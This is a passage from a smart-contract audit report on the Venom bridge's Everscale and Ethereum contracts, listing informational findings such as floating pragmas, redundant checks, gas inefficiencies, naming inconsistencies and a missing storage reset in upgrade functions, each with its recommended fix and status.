Severity	**INFORMATIONAL**
Vulnerability Type	Unused Code
Status	Fixed in b5559c5

Description

In the specified function of the contract, there is a line of code that is commented out, which can lead to confusion for developers reviewing or working on the code in the future.

```
function onCodeUpgrade(TvmCell data) private {
    // tvm.resetStorage();
    ...
}
```

Impact

Leaving such commented-out code without clarification can create ambiguities regarding its intended use or the reason for its exclusion. This may not lead to a direct exploit but diminishes code quality and can potentially lead to misunderstandings in future development phases.

Recommendation

Remove the commented-out line to keep the codebase clean and concise.

Contradictory Naming

There are contradictions in the naming conventions used for variables and files within the project.

ID	VN-043
Paths	./everscale/contracts/staking/base/StakingRelay.tsol ./everscale/contracts/staking/base/StakingBase.tsol ./everscale/contracts/staking/base/StakingPoolRelay.tsol ./everscale/contracts/staking/base/StakingPoolUpgradable.tsol ./everscale/contracts/staking/UserData.tsol
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Style Guide Violation

Status	Acknowledged

Description

1. The contract names are inconsistent with the file names, as illustrated below:
    - `StakingPoolBase` should be `StakingBase`
    - `StakingPoolRelay` should be `StakingRelay`
    - `StakingPoolUpgradable` should be `StakingUpgradable`
2. While setting the Solana public keys for the Relays, the `ton_keys` argument is specified in the `onRelayRoundInitialized()` function within the `StakingRelay.tsol` contract.
3. The project uses the outdated keyword `ton` instead of `ever`.

Impact

- **Code Cleanliness**: The inconsistent naming conventions could lead to confusion among developers, making the codebase harder to read and maintain. This lack of clarity may also increase the likelihood of bugs being introduced, especially as the project scales or as new developers join the project.

Recommendation

- Update contract names to ensure consistency with file names.
- Replace the `ton_keys` variable name with `solana_keys`.
- Substitute the `ton` keyword with `ever` to reflect the current naming conventions of the Venom project.

Floating Pragma in `.tsol` Files

The system's contracts have unlocked pragma versions, with varying requirements like: `pragma ever-solidity >= 0.62.0`, `0.57.0`, `0.39.0` across the project.

ID	VN-053
Paths	./everscale/*
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Compilation and Deployment
Status	Fixed in b5559c5

Description

The contracts within the system have an unlocked pragma version, and different pragma version requirements are set across the projects, such as: `pragma ever-solidity >= 0.62.0;`, `pragma ever-solidity >= 0.57.0;`, `pragma ever-solidity >= 0.39.0;`.

Impact

- The use of an unlocked or floating pragma version could lead to inconsistencies across different parts of the project whenever the Ever Solidity compiler is updated. This might result in unexpected behavior or compilation errors, especially if newer compiler versions introduce breaking changes or if different parts of the project rely on different compiler features.

Recommendation

Consider explicitly setting a specific pragma version across the project wherever possible, and avoid using a floating pragma in the final deployment.

Floating Pragma with Outdated Versions in `.sol` Files

The EVM part of the project uses a floating pragma with various older versions of Solidity (e.g., `0.8.0`, `0.8.1`).

ID	VN-006
Paths	./ethereum/contracts/*
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Compilation and Deployment
Status	Mitigated in b5559c5
Resolution	The project still uses a floating pragma, but it has been upgraded to consistently use `pragma solidity ^0.8.20;`.

Description

The project's EVM codebase uses different and outdated Solidity versions with a floating pragma statement. This practice can introduce inconsistencies and might not take advantage of bug fixes and optimizations present in the latest versions of the Solidity compiler.

Impact

- Unpredictable Behavior: Depending on the compiler version, the behavior of the contract might differ, leading to unexpected results or vulnerabilities.
- Compatibility Issues: Newer versions of the Solidity compiler might introduce changes that are not backward compatible.
- Security Concerns: Compiler updates often come with security fixes. Relying on older or a range of versions might expose the contract to known vulnerabilities.

Recommendation

- Pin the Solidity version by using a specific version in the pragma statement, e.g., `pragma solidity 0.8.17;` to ensure consistent behavior across all environments.
- Thoroughly test the entire code base on the selected compiler version to identify and rectify any potential issues or differences in behavior.
- Regularly review and update the Solidity version used to benefit from optimizations, new features, and security fixes.

Incorrect Interface Version Used

The code contains usage of outdated interfaces.

ID	VN-097
Paths	./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventAlien.tsol: `IProxyMultiVaultAlien_V6` ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEverscaleEVMEventAlien.

	tsol: `IProxyMultiVaultAlien_V6` ./everscale/contracts/bridge/event-contracts/multivault/solana/MultiVaultEverscaleSolanaEventAlien.tsol: `IProxyMultiVaultAlien_V6` ./everscale/contracts/bridge/event-contracts/multivault/solana/MultiVaultSolanaEverscaleEventAlien.tsol: `IProxyMultiVaultAlien_V6`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Interfaces Mismanagement
Status	Fixed in b5559c5

Description

Incorrect interface usage may lead to call failure due to wrongly encoded function selectors and parameters.

The project is developed continuously, and new versions of contracts and interfaces are implemented at each stage.

Within the files, usages of the outdated `IProxyMultiVaultAlien_V6` interface were found. The actual one is `IProxyMultiVaultAlien_V7`.

Impact

Interfaces mismanagement slightly impacts code readability.

Recommendation

Replace usages of `IProxyMultiVaultAlien_V6` with `IProxyMultiVaultAlien_V7` in the mentioned files.

Inefficient Event Emission in MultiVault Facet Settings

In the contract `MultiVaultFacetSettings.sol`, state variables are being utilized directly for event emission instead of utilizing available local variables.

ID	VN-030
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Inefficient Gas Usage
Status	Fixed in b5559c5

Description

In the `MultiVaultFacetSettings.sol` contract, there are instances where state variable values are being used directly for event emission. Directly using these state variables for event logging consumes more gas compared to using local variables or parameters that are already available. Specifically, the `emit UpdateGovernance(s.governance)` event can be optimized for gas usage by directly using `msg.sender` since the `onlyPendingGovernance` modifier guarantees `s.pendingGovernance` is `msg.sender`. Similarly, other events in the contract can be optimized.

The events in concern are:

- `emit UpdateRewards(s.rewards_.wid, s.rewards_.addr);`
- `emit UpdateWithdrawGuardian(s.withdrawGuardian);`
- `emit UpdateGuardian(s.guardian);`
- `emit UpdateGovernance(s.governance);`
- `emit UpdateManagement(s.management);`

Impact

- **Gas Efficiency**: Implementing the recommended changes can lead to improved gas efficiency during contract execution. This is particularly relevant for operations that are frequently invoked, as even small gas savings can add up over numerous transactions.

Recommendation

For optimizing the gas consumption:

1. **Use Local Variables or Parameters**: Instead of accessing state variables, leverage the already available local variables or function parameters, especially when they've been previously validated.

For example:

```
function setGovernance(
    address _governance
) external override onlyGovernance {
    MultiVaultStorage.Storage storage s = MultiVaultStorage._storage();
    s.pendingGovernance = _governance;
    emit NewPendingGovernance(_governance); // Use parameter governance instead of state variable one
}
```

2. **Review All Event Emissions**: As several events in the contract are directly using state variables for logging, we recommend reviewing each event emission and refactoring them to use local variables or parameters wherever applicable to achieve gas optimization.

Inefficient Token Existence Check in Bulk Operations

The `MergePool_V4` contract's bulk operations (`enableAll()` and `disableAll()`) include a redundant token existence check in the `_setTokenStatus()` function, causing unnecessary Gas consumption.

ID	VN-026
Paths	./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol: `enableAll()`, `disableAll()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Gas Inefficiency
Status	Fixed in b5559c5

Description

Within the `MergePool_V4` contract, there are functions `enableAll()` and `disableAll()` meant for bulk operations on all tokens. These functions internally call the `_setTokenStatus()` function for every token in the pool.

The `_setTokenStatus()` function contains a redundant check for token existence:

```
require(tokens.exists(token), ErrorCodes.TOKEN_NOT_EXISTS);
```

This check is appropriate for singular operations, but in the context of bulk operations (like `enableAll()` and `disableAll()`), it is redundant and results in unnecessary Gas consumption. Given the loop structure in these bulk functions, every token is, by definition, part of the token array, making the token existence check superfluous.

Impact

- **Gas Inefficiency**: Due to the unnecessary `require()` check, the bulk operations would consume more Gas than required. This could increase costs for the contract users or the contract owner.

Recommendation

To rectify the inefficiency:

1. **Optimize `enableAll()`**: Refactor the function to eliminate the redundant check and ensure that the decimals are greater than zero before enabling a token. The updated function would look like:

```
function enableAll() external onlyOwnerOrManager cashBack {
    for ((address token,): tokens) {
        require(tokens[token].decimals > 0, ErrorCodes.TOKEN_DECIMALS_IS_ZERO);
        tokens[token].enabled = true;
    }
}
```

2. **Optimize `disableAll()`**: Similarly, refactor the function to directly disable all tokens without the redundant check:

```
function disableAll() external onlyOwnerOrManager cashBack {
    for ((address token,): tokens) {
        tokens[token].enabled = false;
    }
}
```

By implementing these changes, the contract can avoid the unnecessary Gas consumption and improve its efficiency during bulk operations.

Invalid Balance Sanity Check in `withdrawTonsEmergency()` Function

Invalid validation in the `withdrawTonsEmergency()` function.

ID	VN-094
Paths	./everscale/contracts/staking/base/StakingBase.tsol: `withdrawTonsEmergency()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Invalid Validation
Status	Fixed in b5559c5

Description

The `address(this).balance` is equal to the contract balance at the start of execution (after paying storage fees and accepting `msg.value` deposit). Thus, to process the contract balance separately from `msg.value`, `address(this).balance - msg.value` should be used.

```
function withdrawTonsEmergency(amount, ...) ... {
    require (msg.value >= Gas.MIN_CALL_MSG_VALUE, ErrorCodes.VALUE_TOO_LOW);
    ...
    require (address(this).balance > amount, ErrorCodes.VALUE_TOO_LOW);
    tvm.rawReserve(Gas.ROOT_INITIAL_BALANCE, 0);
    ...
    receiver.transfer({ value: amount, bounce: false });
    send_gas_to.transfer({ value: Gas.MIN_CALL_MSG_VALUE - Gas.ROOT_INITIAL_BALANCE, bounce: false });
    ...
}
```

The function checks if `address(this).balance` covers the requested `amount` to send. However, the unspent `msg.value` is required to be sent separately from the `amount`. Thus, the contract may attempt to double spend the `msg.value`.

Impact

The function execution may fail with an unexpected error in the action phase, bypassing the parameter sanity check.

Recommendation

Replace `address(this).balance` with `address(this).balance - msg.value` within the check.

Invalid Required Gas Calculation

In the `startElectionOnNewRound()` function, the required Gas for function execution is incorrectly validated.

ID	VN-095
Paths	./everscale/contracts/staking/base/StakingRelay.tsol: `startElectionOnNewRound()` ./everscale/contracts/staking/base/StakingRelay.tsol: `endElection()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Invalid Validation
Status	Acknowledged

Description

In order to prevent call chain failures at arbitrary execution stages, the entry point needs to ensure that the contract balance covers all the Gas costs and attaches the correct value to the next call.

```
function startElectionOnNewRound() ... {
    ...
    require (address(this).balance >= Gas.MIN_CALL_MSG_VALUE + Gas.ROOT_INITIAL_BALANCE, ErrorCodes.LOW_BALANCE);
    tvm.accept();
    ...
    next_call{ value: Gas.DEPLOY_ELECTION_MIN_VALUE }(...);
}
```

It is ensured in the function that the contract covers its target balance and holds `Gas.MIN_CALL_MSG_VALUE`, which is assumed to be spent during the action phase. However, only `Gas.DEPLOY_ELECTION_MIN_VALUE` is forwarded to the next call, and it is the only spending during

the action phase.

Impact

The function failed to verify whether `Gas.DEPLOY_ELECTION_MIN_VALUE` is present in the contract's balance.

Recommendation

Use the correct required Gas value in the check, add `+ Gas.DEPLOY_ELECTION_MIN_VALUE` to the `require()`.

Missing Function Declarations in Interfaces `IDAO.sol` and `IBridge.sol`

There are functions implemented in `DAO.sol` and `Bridge.sol` that do not have corresponding declarations in their respective interfaces, `IDAO.sol` and `IBridge.sol`. To ensure consistency and adherence to the interfaces, all implemented functions should be declared in the interfaces.

ID	VN-069
Paths	./ethereum/contracts/DAO.sol: `setConfiguration()`, `decodeEthActionsEventData()` ./ethereum/contracts/bridge/Bridge.sol: `decodeRoundRelaysEventData()`, `decodeEverscaleEvent()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Code Consistency
Status	Fixed in b5559c5

Description

In the `DAO.sol` and `Bridge.sol` contracts, there are functions that have been implemented but are missing corresponding declarations in their respective interfaces, `IDAO.sol` and `IBridge.sol`. This lack of consistency can make the code harder to understand and maintain.

Impact

- **Code Consistency**: Missing declarations in the interfaces can lead to inconsistency in the codebase and make it more challenging for developers to understand the expected function signatures.
- **Documentation**: Properly declared interfaces serve as documentation, helping other developers understand the intended structure and functionality of the contract.
- **Maintenance**: Ensuring that all functions are correctly declared in their respective interfaces simplifies maintenance, as any changes to function signatures will be immediately flagged as a compilation error.

Recommendation

To resolve this issue, add missing function declarations to the respective interfaces, `IDAO.sol` and `IBridge.sol`, to align the implementations with the defined interfaces.

Name Contradiction In `MultiVaultStorage` Contract

The `MultiVaultStorage` contract contains naming prefixes that are inconsistent with the project's identity, using "Octus" naming instead of the "Venom" naming for the default name and symbol prefixes.

ID	VN-066
Paths	./ethereum/contracts/multivault/multivault/storage/MultiVaultStorage.sol: `DEFAULT_NAME_LP_PREFIX`, `DEFAULT_SYMBOL_LP_PREFIX`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Naming Inconsistency
Status	Fixed in b5559c5

Description

The `VenomBridge` contract utilizes two constant string variables for default name and symbol prefixes. These constants are currently set to values that reference "Octus" instead of the correct project identity, "Venom."

Problematic lines:

```
string constant DEFAULT_NAME_LP_PREFIX = 'Octus LP ';
string constant DEFAULT_SYMBOL_LP_PREFIX = 'octLP';
```

It is important to maintain consistency in naming throughout the project's codebase to ensure clarity and adherence to the project's branding and identity.

Impact

- **Confusion**: Inconsistent naming can lead to confusion among developers and users of the project, as the project's name is not accurately reflected in these naming prefixes.
- **Branding**: Using incorrect naming prefixes can harm the project's branding and create a disconnect between the codebase and the project's identity.

Recommendation

1. **Update Naming Prefixes**: Replace the current "Octus" naming prefixes with the correct "Venom" naming to align with the project's identity.

```
string constant DEFAULT_NAME_LP_PREFIX = 'Venom LP ';
string constant DEFAULT_SYMBOL_LP_PREFIX = 'venLP';
```

Redundant Check in `saveWithdrawNative()` Function

Redundant `if()` statement in the `saveWithdrawNative()` function.

ID	VN-070
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetWithdraw.sol: `saveWithdrawNative()`

Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Redundancy
Status	Fixed in b5559c5

Description

The last `if()` statement condition in the `saveWithdrawNative()` function will always be `true` and, therefore, is redundant.

```
function saveWithdrawNative(...) ... {
    ...
    bool withdrawalLimitsPassed = expression();
    if (withdrawalLimitsPassed) {
        ...
        return; // if `withdrawalLimitsPassed == true` exits here
    }
    // if not exited above, `withdrawalLimitsPassed == false`
    ...
    // The if will be always entered
    if (!withdrawalLimitsPassed) {
        ...
    }
}
```

Impact

Redundancies impact code readability and may lead to incorrect assumptions being made.

Recommendation

Remove the redundant statement.

Redundant Code in DiamondProxy Storage Functions

Code duplication in `addFunctions()` and `replaceFunctions()` within the `DiamondStorage.sol` contract.

ID	VN-027
Paths	./ethereum/contracts/multivault/multivault/storage/DiamondStorage.sol: `addFunctions()` ./ethereum/contracts/multivault/multivault/storage/DiamondStorage.sol: `replaceFunctions()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Code Duplication
Status	Fixed in b5559c5

Description

In the `DiamondStorage.sol` contract, both `addFunctions()` and `replaceFunctions()` share three identical lines of code for adding facets:

```
enforceHasContractCode(_facetAddress, "DiamondStorage: New facet has no code");
ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = uint16(ds.facetAddresses.length);
ds.facetAddresses.push(_facetAddress);
```

This duplication makes the code less maintainable and prone to errors. Any future modifications to the logic would require updating in multiple places, increasing the chance of inconsistencies or mistakes.

Impact

- **Code Maintainability**: Using a common function reduces the chance of errors when changes are needed in the future. It ensures that updates to the facet addition logic only need to be made in one place.
- **Gas Efficiency**: By reducing code redundancy and making it more efficient, there is potential for slight gas savings.

Recommendation

To improve code maintainability and avoid duplication:

1. **Introduce the `addFacet()` function**: Implement a helper function named `addFacet()` that consolidates the shared logic:

```
function addFacet(DiamondStorage storage ds, address _facetAddress) internal {
    enforceHasContractCode(_facetAddress, "DiamondStorage: New facet has no code");
    ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = uint16(ds.facetAddresses.length);
    ds.facetAddresses.push(_facetAddress);
}
```

2. **Refactor `addFunctions()` and `replaceFunctions()`**: Update both functions to utilize the new `addFacet` function when the selector position is zero:

```
// Add new facet address if it does not exist
if (selectorPosition == 0) {
    addFacet(ds, _facetAddress);
}
```

By implementing the `addFacet` function and refactoring the two main functions, the code becomes more concise, maintainable, and less prone to errors.

Redundant Code Pattern in `removeToken()` Function

The `removeToken()` function in the `TokensPool` contract redundantly uses a `require()` statement for checking token existence, while there is an existing `tokenExists()` modifier.

ID	VN-025
Paths	./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol: `removeToken()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Redundant Code
Status	Fixed in b5559c5

Description

The `removeToken()` function in the `TokensPool` contract is designed to allow the contract owner to remove a token from the pool. Currently, the function uses the following control logic:

```
require(tokens.exists(token), ErrorCodes.TOKEN_NOT_EXISTS);
```

However, within the same contract, a modifier `tokenExists()` is already defined to handle this specific logic:

```
modifier tokenExists(address token) {
    require(tokens.exists(token), ErrorCodes.TOKEN_NOT_EXISTS);
    _;
}
```

It is redundant and inefficient to have the same control logic both as a standalone `require()` statement and within a modifier. The code can be more concise and clear by using the already defined modifier for this purpose.

Impact

- **Code Redundancy**: Maintaining redundant code can make the contract harder to read and lead to potential future inconsistencies if one part of the code is changed but not the other.
- **Gas Inefficiency**: Although the difference might be negligible, using redundant logic can have a minor impact on the gas cost.

Recommendation

- **Use the `tokenExists()` Modifier**: Refactor the `removeToken()` function to use the `tokenExists()` modifier instead of the standalone `require()` statement. The function's signature would then look like:

```
function removeToken(address token) external override onlyOwnerOrManager tokenExists(token) cashBack {
    // function logic
}
```

This ensures that the control logic is centralized in the `tokenExists()` modifier and any changes to the token existence check only need to be made in one place.

Redundant Constant Variables in Multiple Contracts

Multiple instances of redundant constant variables are observed in the codebase which are not being used elsewhere. This can lead to confusion, and unnecessary clutter which makes the contracts less readable.

ID	VN-051
Paths	./everscale/contracts/dao/libraries/DaoErrors.tsol ./everscale/contracts/dao/libraries/Gas.tsol ./everscale/contracts/utils/ErrorCodes.tsol
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Code Quality & Maintainability
Status	Acknowledged

Description

There are various constant variables defined across multiple libraries and contracts which do not seem to be used elsewhere. This can be a potential maintenance challenge and bloat the codebase.

The following are the libraries and the redundant constants spotted:

- DaoErrors Library:
  - `NOT_ADMIN`
- Gas Library:
  - `DEPLOY_ACCOUNT_VALUE`
  - `DEPLOY_EMPTY_WALLET_VALUE`
  - `DEPLOY_EMPTY_WALLET_GRAMS`
  - `SEND_EXPECTED_WALLET_VALUE`
  - `WITHDRAW_VALUE`
  - `CAST_VOTE_VALUE`
  - `UNLOCK_CASTED_VOTE_VALUE`
  - `UNLOCK_LOCKED_VOTE_TOKENS_VALUE`
- ErrorCodes Library:
  - `BRIDGE_NOT_ACTIVE`
  - `EVENT_CONFIGURATION_NOT_ACTIVE`
  - `EVENT_CONFIGURATION_NOT_EXISTS`
  - `EVENT_CONFIGURATION_ALREADY_EXISTS`
  - `SENDER_NOT_BRIDGE`
  - `KEY_ALREADY_CONFIRMED`
  - `KEY_ALREADY_REJECTED`
  - `EVENT_NOT_CONFIRMED`
  - `TOO_LOW_MSG_VALUE`
  - `NOT_ADMIN`
  - `INVALID_RELAY_ROUND_ROUND`
  - `WRONG_TOKEN_ROOT`

Impact

These unused constants do not pose a direct security risk. However, they might confuse developers, auditors, and others who review the code. It also bloats the contract, which can have an effect on deployment costs and readability.

Recommendation

- **Code Cleanup**: Remove all redundant constant variables from the contracts. Ensure that they are truly redundant and not part of a planned future use.
- **Documentation**: If there is any plan for these constants in future implementations, document it clearly within the code to avoid confusion.

Before implementing these recommendations, ensure to cross-check each constant, and its relevancy to any future plans. Removing them without ensuring can lead to potential issues if they were planned to be used in future versions or updates.

Redundant Function Addition Logic in DiamondProxy Storage Functions

Repetitive code exists in both the `addFunctions()` and `replaceFunctions()` functions.

ID	VN-028
Paths	./ethereum/contracts/multivault/multivault/storage/DiamondStorage.sol: `addFunctions()` ./ethereum/contracts/multivault/multivault/storage/DiamondStorage.sol: `replaceFunctions()`
Commit	f739553

Severity	INFORMATIONAL
Vulnerability Type	Code Duplication
Status	Fixed in b5559c5

Description

In the `DiamondStorage.sol` contract, the logic to add a function is identical within both `addFunctions()` and `replaceFunctions()`:

```
ds.selectorToFacetAndPosition[selector].functionSelectorPosition = selectorPosition;
ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(selector);
ds.selectorToFacetAndPosition[selector].facetAddress = _facetAddress;
```

Such code redundancy hinders maintainability, increasing the potential for discrepancies or errors in future modifications.

Impact

- **Code Maintainability**: The proposed changes improve the code's readability and maintainability. Centralizing the logic minimizes the risk of future inconsistencies.
- **Gas Efficiency**: While the primary focus is on improving the clarity of the code, consolidating the logic might offer marginal gas savings by avoiding repeated inlining of similar logic.

Recommendation

To streamline the code and reduce the risk of inconsistencies:

1. **Introduce the `addFunction()` function**: Implement an internal helper function named `addFunction()` that consolidates the shared logic:

```
function addFunction(DiamondStorage storage ds, bytes4 _selector, uint96 _selectorPosition, address _facetAddress) inter
    ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = _selectorPosition;
    ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(_selector);
    ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress;
}
```

2. **Refactor `addFunctions()` and `replaceFunctions()`**: Integrate the new `addFunction()` within both functions:

```
// Add new function logic
addFunction(ds, selector, selectorPosition, _facetAddress);
```

This approach centralizes the function addition logic into a single function, enhancing code clarity and maintainability.

Redundant Functionality in `onCodeUpgrade()` in ProxyMultiVault Contracts

Redundant code exists in the `onCodeUpgrade()` functions of the newly deployed system.

ID	VN-053
Paths	./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7.tsol: `onCodeUpgrade()` ./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5.tsol: `onCodeUpgrade()`
Commit	f739553

Severity	**INFORMATIONAL**
Vulnerability Type	Broken Upgrades Pattern
Status	Acknowledged

Description

The TON-Solidity upgrades pattern requires the following action sequence:

1. Load contract storage into a local variable (`upgrade()`).
2. Replace contract code with a new one (`upgrade()`).
3. Clear the new storage layout from artifacts using the `tvm.resetStorage()` instruction (`onCodeUpgrade()`).
4. Load contract storage from the local variable (`onCodeUpgrade()`).

According to the Client statement, the system will be deployed from scratch with the latest contract versions. The `onCodeUpgrade()` functions execution is performed only during an upgrade (not fresh deployment) on the new code. Therefore, the `onCodeUpgrade()` functions will be never called and are considered to be redundant.

Although, the functions contain dead code, the dead code may be reused in future contact versions and though it is important to point the following fact.

The `tvm.resetStorage()` instruction execution is missing in the mentioned contracts. The lack of storage clearance makes it possible for:

- New variables to be assigned random data.
- Old variable values to be corrupted.

Storage corruption cases may appear during further development.

Impact

The functions are considered to be dead code and never called. However, generally, storage corruption could be fixed via an additional upgrade.

Recommendation

- Remove `onCodeUpgrade` functions body from the code that is going to be fresh deployed.
- Consider adding the `tvm.resetStorage()` instruction call to the `onCodeUpgrade()` function in future contracts.

Redundant Modifier in `Delegate` Contract

A modifier named `onlyDelegate()` exists in the `Delegate` contract which is exclusively used in a testing contract, `TestTarget`. This suggests that the modifier is unnecessary in the main contract and is cluttering the code.

ID	VN-052
Paths	./everscale/contracts/utils/Delegate.tsol
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Code Quality & Maintainability

Status	Fixed in b5559c5

Description

The `onlyDelegate()` modifier in the `Delegate` contract is found to be used only in the `TestTarget` contract.

If the `TestTarget` is purely for testing purposes and not meant for production, the presence of `onlyDelegate()` in the `Delegate` contract serves no functional purpose in the main environment and can be considered redundant.

Impact

The redundant modifier does not pose a direct security risk, but it can decrease the overall readability and maintainability of the contract.

Recommendation

- **Code Cleanup**: Remove the `onlyDelegate()` modifier from the Delegate contract. Ensure that by doing so, no functionality is disturbed in the main environment.
- **Code Segregation**: If certain modifiers or functions are meant solely for testing, consider placing them in separate contracts or utilizing mocking techniques to ensure they do not make their way into production contracts.

Redundant Usage of Experimental ABI Encoder in Solidity ^0.8.0

Several contracts, including `DAO`, `Bridge`, `IBridge`, `IDAO`, and `Cache`, are using the `pragma experimental ABIEncoderV2;` directive alongside Solidity version ^0.8.0, which renders the experimental directive unnecessary.

ID	VN-015
Paths	./ethereum/contracts/DAO.sol ./ethereum/contracts/interfaces/IDAO.sol ./ethereum/contracts/bridge/Bridge.sol ./ethereum/contracts/interfaces/IBridge.sol ./ethereum/contracts/multivault/interfaces/IBridge.sol ./ethereum/contracts/utils/Cache.sol
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Redundant Code
Status	Fixed in b5559c5

Description

The identified contracts and interfaces have the pragma directive pragma solidity ^0.8.2;, which inherently supports ABI encoder V2. Hence, having `pragma experimental ABIEncoderV2;` is redundant and can be removed to maintain code cleanliness.

Impact

- Code Cleanliness: Redundant pragma statements clutter the codebase and can be misleading to developers unfamiliar with the history of the Solidity compiler.

Recommendation

Remove the `pragma experimental ABIEncoderV2;` directive from all the identified contracts and interfaces.

Redundant Zero-Check Logic in MultiVault Token Fee Increase Function

Redundant validation in `_increaseTokenFee()` function.

ID	VN-029
Paths	./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperFee.sol: `_increaseTokenFee()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Redundant Code
Status	Fixed in b5559c5

Description

In the `_increaseTokenFee()` function of the `MultiVaultHelperFee.sol` contract, there is a redundant zero-check for the `amount` variable. The function ensures that the value of `_amount` is not zero right at its start. This guarantee makes the secondary zero-check for `amount` unnecessary, especially when considering the internal logic for how `amount` is derived.

Furthermore, the `liquidity.interest` value can never surpass `MultiVaultStorage.MAX_BPS / 2`. This is enforced by the `setTokenInterest` function, which uses the `respectFeeLimit` modifier to ensure the interest value remains within the set limit:

```
    modifier respectFeeLimit(uint fee) {
        require(fee <= MultiVaultStorage.FEE_LIMIT);
        _;
    }
```

Given this, the max value of `liquidity.interest / MultiVaultStorage.MAX_BPS` will be 1/2. When this is multiplied by `_amount`, the resultant `liquidity_fee` will be `_amount/2`, making it impossible for the statement `amount = _amount - liquidity_fee;` to result in zero. This further supports the redundancy of the zero-check.

Impact

- **Code Maintainability**: The recommended changes enhance the clarity and maintainability of the code by removing redundant checks. This will make it easier for developers to understand the logic and will decrease the likelihood of introducing bugs in future modifications.
- **Gas Efficiency**: Eliminating unnecessary logic can lead to marginal improvements in gas efficiency, as the contract will execute fewer operations.

Recommendation

To enhance the code:

1. **Remove Redundant Zero-Check**: Remove the second zero-check for `amount` entirely from the function, as it is rendered unnecessary by the structure of the function and the constraints on the `liquidity.interest`.

```
if (_amount == 0) return;
if (s.liquidity[token].activation == 0) {
    amount = _amount;
} else {
```

```
    uint liquidity_fee = _amount * liquidity.interest / MultiVaultStorage.MAX_BPS;
    amount = _amount - liquidity_fee;
    _increaseTokenCash(token, liquidity_fee);
}
s.fees[token] += amount;
```

Solidity Style Guides Violation

The codebase has multiple instances where the official Solidity style guides are not followed. Maintaining a consistent coding style is vital for readability and maintainability.

ID	VN-007
Paths	./ethereum/contracts/*
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Code Style
Status	Acknowledged

Description

Contract readability and code quality are influenced significantly by adherence to established style guidelines. In Solidity programming, there exist certain norms for code arrangement and ordering.

These guidelines help to maintain a consistent structure across different `contracts`, `libraries`, or `interfaces`, making it easier for developers and auditors to understand and interact with the code.

The suggested order of elements within each `contract`, `library`, or `interface` is as follows:

- Type declarations
- State variables
- Events
- Modifiers
- Functions

Functions should be ordered and grouped by their visibility as follows:

- Constructor
- Receive function (if exists)
- Fallback function (if exists)
- External functions
- Public functions
- Internal functions
- Private functions

Within each grouping, `view` and `pure` functions should be placed at the end.

Furthermore, following the Solidity naming convention and adding NatSpec annotations for all functions are strongly recommended. These measures aid in the comprehension of code and enhance overall code quality.

Impact

Disregarding the official style guidelines can:

- Impede code readability.
- Increase the time required for developers and auditors to understand the code.
- Lead to overlooked vulnerabilities due to a disorganized code structure.
- Make code maintenance more challenging.

Recommendation

- Adhere consistently to the official Solidity style guide to enhance code readability and maintainability.
- Rearrange code components according to the recommended order, ensuring that functions are appropriately grouped by their visibility and type (`view` and `pure` at the end of each visibility group).
- Add comprehensive NatSpec annotations for all functions to provide clear descriptions of their behavior.
- Adopt Solidity's naming conventions for consistency and clarity throughout the codebase.

Wrapping Address to Contract Implementation Instead of Interface

Contract code is used instead of an interface in the `DaoRoot.tsol` contract.

ID	VN-096
Paths	./everscale/contracts/dao/DaoRoot.tsol: `onProposalSucceeded()`
Commit	f739553
Severity	**INFORMATIONAL**
Vulnerability Type	Interfaces Mismanagement
Status	Fixed in b5559c5

Description

Wrapping an address into an interface to perform the contract call is considered best practice.

```
function onProposalSucceeded(...) ... {
    ...
    Proposal(msg.sender).onActionsExecuted{value: 0, flag: MsgFlag.ALL_NOT_RESERVED}();
    ...
}
```

The function wraps `msg.sender` into the contract code itself, which is considered to be more inconsistent.

Impact

Interfaces mismanagement slightly impacts code readability.

Recommendation

Use `IProposal(msg.sender)` instead of `Proposal(msg.sender)`.

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Disclaimers

Hacken disclaimer

The code base provided for audit has been analyzed according to the latest industry code quality, software processes and cybersecurity practices at the date of this report, with discovered security vulnerabilities and issues the details of which are disclosed in this report (Source Code); the Source Code compilation, deployment, and functionality (performing the intended functional specifications). The report contains no statements or warranties on the identification of all vulnerabilities and security of the code. The report covers the code (branch/tag/commit hash) submitted to and reviewed, so it may not be relevant to any other branch. Do not consider this report as a final and sufficient assessment regarding the utility and safety of the code, bug-free status, or any other contract statements. While we have done our best in conducting the analysis and producing this report, it is important to note that you should not rely on this report only — we recommend proceeding with several independent audits, public bug bounty program and CI/CD process to ensure security and code quality. English is the original language of the report. The Consultant is not responsible for the correctness of the translated versions.

Technical disclaimer

